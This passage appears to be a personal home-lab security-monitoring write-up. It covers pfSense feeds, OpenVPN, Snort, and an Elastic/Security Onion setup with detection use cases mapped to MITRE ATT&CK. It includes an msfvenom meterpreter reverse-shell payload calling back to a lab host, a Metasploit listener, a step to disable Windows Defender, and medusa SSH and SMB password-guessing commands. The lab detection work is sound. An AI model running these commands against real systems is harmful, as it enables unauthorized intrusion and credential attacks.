โ ๏ธ Note: Requires MaxMind GeoIP key (free with account).
Threat Intel Feeds
- Go to Feeds tab.
- Check feeds like:
easylist,adaway,malwaredomains, etc.
- Click plus icon to add, then go to Update tab and run Force Reload - All
- ping/curl an IP from one of the IPs from feeds that are active.
- And check alerts generated in Reports โ Alerts
- We can see ASN info as well that I configured in pfBlockerNG โ IP with https://ipinfo.io/ API.

VPN: OpenVPN
Video suggested: https://www.youtube.com/watch?v=I61t7aoGC2Q&t=148s
We need to configure these: Certificate Authority to sign certificates, Server Certificate (used by OpenVPN) to prove its identity, and the client certificate. It's better to view walk-through videos to configure these than step by step instructions.
๐ How OpenVPN Works
- Startup
- Server starts and listens on port 1194.
- Client starts and connects to server.
- (Optional) TLS Auth Check
- Before any TLS handshake is accepted, server checks HMAC on packet using
ta.key.
- Before any TLS handshake is accepted, server checks HMAC on packet using
- TLS Handshake
- Client and server exchange certificates.
- Each verifies the other's certificate via the CA.
- TLS keys are negotiated.
- Key Exchange
- A secure session is established using TLS with DH or ECDH.
- A shared symmetric key is derived for encryption.
- VPN Tunnel Created
- A virtual interface (
tun0) is created on both ends. - All traffic is encrypted and routed through this interface.
- A virtual interface (
- Data Encryption
- All traffic between client and server is encrypted with the symmetric key.
- Client Receives IP
- Server assigns an internal VPN IP to the client (e.g., 10.10.3.2).
- Client can access internal services or route internet traffic via VPN.
OpenVPN Client Export Utility
- Install this from Syatem โ Package Manager โ Available Packages โ Search for
openvpn-client-export - Configure Host Name Resolution to public IP for remote access over public network.
- Create a VPN user here: System โ User Manager โ Users
- Add user certificate: Create Certificate for User section. And "Save".

- Go to: VPN โ OpenVPN โ Client Export Utility
- The user you created should be visible here. Export the desired option.

The exported .ovpn config includes:
- The client certificate
- The client private key
- The CA certificate (so the client can verify the server)
- Optionally, the TLS key (if used)
Test VPN
- Image should be self explanatory.

Security Tips
- Use 4096-bit keys for long-term security
- Disable compression (can lead to VORACLE attacks)
- Use TLS-Crypt instead of TLS-Auth for additional privacy
- Restrict users with firewall rules or user groups
IDPS: Snort
Video suggested: https://www.youtube.com/watch?v=SapAcfHbQSE&t=192s
Test snort
- Custom rule
alert tcp any any -> any 80 (msg:"TEST ALERT - Visit to example.com"; content:"example.com"; http_header; sid:1000001; rev:1;)
- curl from one of the LAN machines:
curl http://example.com
- Go to: Services โ Snort โ Alerts

Video suggested: elastic agent
Download Elastic Agent on Windows
- Download the elastic agent from securityOnion to host machine.
pipx install uploadserver
uploadserver
- Go to your python server on Edge
10.10.3.2:8000and download file to windows. - Run the executable as administrator.
Firewall config
- To enable Elastic agent to send logs, please add your subnet to the allowed lists here.
elasticsearch_rest- rest API endpoint running on port9200. (We are directly sends logs to elastic search, skippinglogstash)


Verify
- Go to: Kibana โ Analytics โ Discover
- Add
agent.nameandprocess.nameto Selected Fields

โ ๏ธ Note
Make sure your windows can resolve the SecurityOnion host name. Check with
elastic-agent statusto view any errors.elastic-agent- should be inC:\Program Files\elastic\agent\Edit hosts file in windows to include:10.10.20.100 soc-server.soc-serveris your SecurityOnion host name.
UseCases
#1 Failed Logon Attempts
Create few user accounts
- Run this PS script on the windows
$users = @(
@{Name="IronMan"; Password="Stark@123"},
@{Name="CaptainAmerica"; Password="Shield@123"},
@{Name="Thor"; Password="Mjolnir@123"},
@{Name="Hulk"; Password="Smash@123"},
@{Name="BlackWidow"; Password="Spy@123"}
)
foreach ($user in $users) {
$name = $user.Name
$password = $user.Password
# Create user with net user command, password & no password change at next login
net user $name $password /add /expires:never /passwordchg:no /fullname:"$name"
Write-Host "Created user: $name"
}

Simulate Failed Logins
- We are using SMB here, it is enabled by default.
- I ran this script from my host machine, you can do it from attacker machine as well.
- Check with windows firewall for any network issues, I currently disabled it.
TARGET="10.10.10.103"
WRONG_PASS="WrongPassword123"
USERS=("BlackWidow" "CaptainAmerica" "Hulk" "IronMan" "Thor")
for user in "${USERS[@]}"; do
echo -e "\n[*] Trying $user..."
smbclient -L "//$TARGET/C$" -U "$user%$WRONG_PASS" -m SMB3 -d 1 2>&1
sleep 1
done
[*] Trying BlackWidow...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE
[*] Trying CaptainAmerica...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE
[*] Trying Hulk...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE
[*] Trying IronMan...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE
[*] Trying Thor...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE
Verify failed logins logs using PowerShell
# Generated by ChatGPT :) - After few tries ofc
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} | ForEach-Object {
$evt = $_
$username = $evt.Properties[5].Value
# Search all properties for an IPv4 address pattern
$ip = ($evt.Properties | ForEach-Object { $_.Value }) `
| Where-Object { $_ -match '\b(?:\d{1,3}\.){3}\d{1,3}\b' } `
| Select-Object -First 1
if (-not $ip) { $ip = "N/A" }
$time = $evt.TimeCreated
[PSCustomObject]@{
TimeCreated = $time
Username = $username
SourceIP = $ip
}
} | Sort-Object TimeCreated -Descending | Format-Table -AutoSize
TimeCreated Username SourceIP
----------- -------- --------
6/9/2025 5:10:20 PM Thor 10.10.3.2
6/9/2025 5:10:19 PM IronMan 10.10.3.2
6/9/2025 5:10:18 PM Hulk 10.10.3.2
6/9/2025 5:10:17 PM CaptainAmerica 10.10.3.2
6/9/2025 5:10:15 PM BlackWidow 10.10.3.2
6/9/2025 5:09:57 PM Thor 10.10.3.2
6/9/2025 5:09:56 PM IronMan 10.10.3.2
6/9/2025 5:09:55 PM Hulk 10.10.3.2
6/9/2025 5:09:53 PM CaptainAmerica 10.10.3.2
6/9/2025 5:06:09 PM Thor 10.10.3.2
6/9/2025 5:01:12 PM marry 127.0.0.1
6/9/2025 5:01:04 PM marry 127.0.0.1
6/9/2025 1:29:41 PM marry 127.0.0.1
Kibana Visualization
event.code: "4625"- Failed logons.

We are simulating and detecting a basic Metasploit reverse_tcp shell while mapping it to the MITRE ATT&CK Framework.
Weaponization
| Tactic | Technique | Sub Technique |
|---|---|---|
| TA0042: Resource Development | T1587: Develop Capabilities | T1587.001: Malware |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.30.100 LPORT=4444 -f exe > shell.exe
Delivery
| Tactic | Technique | Sub Technique |
|---|---|---|
| TA0042: Resource Development | T1608: Stage Capabilities | T1608.001: Upload Malware |
| TA0011: Command and Control | T1105: Ingress Tool Transfer | No sub-techniques |
Disable Windows Defender, this is a basic shell.
python3 -m http.server 80

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.30.100
set LPORT 4444
run
Exploitation
| Tactic | Technique | Sub Technique |
|---|---|---|
| TA0002:Execution | T1204:User Execution | T1204.002: Malicious File |
| TA0011: Command and Control | T1095: Non-Application Layer Protocol | No sub-techniques |
| T1571: Non-Standard Port | No sub-techniques | |
| TA0007: Discovery | T1082: System Information Discovery | No sub-techniques |

Detection

Mitigations/Detections
| ID | Mitigation |
|---|---|
| M1056 | Pre-compromise |
| M1040 | Behavior Prevention on Endpoint |
| M1038 | Execution Prevention |
| M1031 | Network Intrusion Prevention |
| M1021 | Restrict Web-Based Content |
| M1017 | User Training |
| ID | Detection | Data Component |
|---|---|---|
| DS0004 | Malware Repository | Malware Content |
| Malware Metadata |
Generate SSH Failed Login Attempt Alert on Elastic Security
| Machine | IP |
|---|---|
| Victim | 10.10.30.102 |
| Attacker | 10.10.3.2 |
Create Detection Rule
- Choose Threshold under Define rule.

- Under Source choose Data View and choose
logs-*under that as shown below.

- Use the below KQL query to query failed or invalid ssh auth events.
- Group by
source.ip, i.e., from where ssh auth request is orginating from. - Set Threshold value as
10, i.e., if there are 10 or more failed/invalid auth events, then a alert will be triggered.
system.auth.ssh.event : "Failed" or system.auth.ssh.event: "Invalid"
- Continue to the next section. Fill the details as appropriate.

Simulate attack
medusa -h 10.10.30.102 -u testuser -P passwords.txt -M ssh

Note: The victim machine must send logs to Elastic (via elastic agent) for alert generation.
Detection
- Wait 5 min after simulating the attack and navigate to Elastic Security

Detect user account creation and deletion events in Windows environments
Check User Account Audit Policy
AuditPol /get /category:"Account Management"
System audit policy
Category/Subcategory Setting
Account Management
Computer Account Management No Auditing
Security Group Management Success
Distribution Group Management No Auditing
Application Group Management No Auditing
Other Account Management Events No Auditing
User Account Management Success <------ This should be success
Audit computer account management
AuditPol /set /subcategory:"Computer Account Management" /success:enable /failure:enable
๐งช Validation Steps
- Perform a test:
- Create a test user:
net user testuser Test123! /add - Delete it:
net user testuser /del
- Create a test user:
- Kibana -> Discover:
event.code: ("4720" or "4726")

Event IDs to Monitor
Account Creation
Event ID 4720: A user account was created.Event ID 4741: A computer account was created.
Account Deletion
Event ID 4726: A user account was deleted.Event ID 4743: A computer account was deleted.
Optional Auditing Events
Event ID 628/624โ legacy versions (Windows Server 2003).Event ID 1102: Audit log cleared (can indicate tampering).